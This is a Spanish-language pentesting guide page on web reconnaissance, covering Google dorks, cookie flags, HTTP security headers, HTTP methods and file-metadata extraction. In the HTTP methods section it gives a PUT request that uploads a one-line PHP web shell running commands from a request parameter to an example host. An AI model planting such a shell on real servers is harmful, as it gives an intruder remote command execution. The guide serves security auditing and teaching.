1. Recolección de información

En esta primera fase de las auditorías puedes apoyarte de los recursos compartidos en la sección de OSINT > URLs/IPs para obtener información del target.

1. FOOTPRINT

Recolección de información de la webs basándonos en fuentes públicas (publicado en internet) sin interacción directa con la aplicación web. Google Dorks

  • site:domain

  • allinurl:domain

  • inurl:domain

  • allintitle:domain

  • intitle:domain

  • intext:domain

  • "domain"

  • cache:domain

  • link:domain

  • filetype:[.pdf|.txt.|.php|.html|.db|...]


2. FINGERPRINT

Recolección de información a través de interacción directa con la aplicación web.

2.1. Mirar código fuente

Analizar el código fuente en busca de posibles credenciales, código comentado relevante, funciones y métodos que permitan conocen mejor el funcionamiento de la aplicación.

  • secure -> fuerza el uso de HTTPS

  • httpOnly -> evita XSS

  • SameSite -> mejora la protección contra CSRF [SameSite=Strict]

2.3. HTTP

2.3.1. Cabeceras HTTP

Las Cabeceras HTTP son los parámetros que se envían en una petición o respuesta HTTP al cliente o al servidor para proporcionar información esencial sobre la transacción en curso. Dentro de estas cabeceras existen unas específicas que se consideran cabeceras de seguridad, ya que su configuración proporciona capas extra se seguridad a la aplicación.

  • HSTS, HTTP Strict Transport Security. Permite "decirle" a un navegador que siempre "quiere" que un usuario se conecte usando HTTPs en lugar de HTTP, de forma que evita ataques de MiTM.

  • X-Frame-Opitions. El servidor le indica al cliente que la página no puede ser cargada en un iframe. Protege a los clientes contra ataques de clickjacking. Opciones:

    • Same Origin: Desde el mismo dominio.

    • Deny: De ningún dominio.

    • Allow from: De determinado dominio.

  • X-Xss-Protection. Se usa para configurar la protección contra XSS Reflejados. Las configuraciones válidas para el encabezado son:

    • 0 -> deshabilita la protección

    • 1 -> habilita la protección

    • 1; mode=block -> indica al navegador que bloquee la respuesta si detecta un ataque.

  • Content-Security-Policy. Directivas:

    • script-src: Definir desde dónde los scripts se pueden ejecutar.

    • img-src: Definir desde dónde se pueden cargar imágenes.

    • media-scr: Definir desde dónde se pueden cargar videos/audio.

    • frame-src: Definir desde dónde se pueden incrustar iframes.

    • default-src: Definir la política de carga para todo tipo de recursos.

  • X-Content-Type-Options. Es usado cuando se permite que usuarios suban contenido a la aplicación.

    • MIME sniffing: Inspecciona el contenido para determinar el formato (text, video, etc).

    • X-Content-Type-Options:nosniff.

Herramientas en local:

Herramientas online:

2.3.2. Métodos HTTP

  • GET -> Envío de información, la información se envía en la propia URL

  • POST -> Envío de información, la información se envía en el cuerpo de la petición (recomendada para enviar información sensible al servidor, por ejemplo peticiones de login)

  • OPTIONS -> Devuelve métodos HTTP aceptados por el servidor

  • PUT -> Permite enviar datos al servidor

PUT /test/shell.php HTTP 1.1
Host: ejemplodehost.meow
...
<?php echo system(($_REQUEST['cmd'])); ?>
  • TRACE -> Se usa para depurar mensajes con la función de eco para los mensajes HTTP, con el fin de comprobar que las peticiones realizadas son recibidas correctamente en el servidor.

  • CONNECT --> Permite crear un túnel HTTP a través de un servidor proxy.

CONNECT ejemplodehost.meow:443 HTTP/1.1
Host: ejemplodehost.meow:443

DEBUG ->

DEBUG / HTTP 1.1
Host: ejemplodehost.meow
...
Command: stop-debug

2.3.3. HTTP Smuggling

Los recursos de PortSwigger lo explican genial:

2.4. Metadatos

  • Filtrar el URI donde se encuentran ficheros - $ grep -w "" | cut -d "" -f2 > output.txt

  • Descargar ficheros de la web - $ wget -i output.txt

  • Analizar el contenido de ficheros - $ exiftool -j /path/where/files/are/located

Herramientas Online

Last updated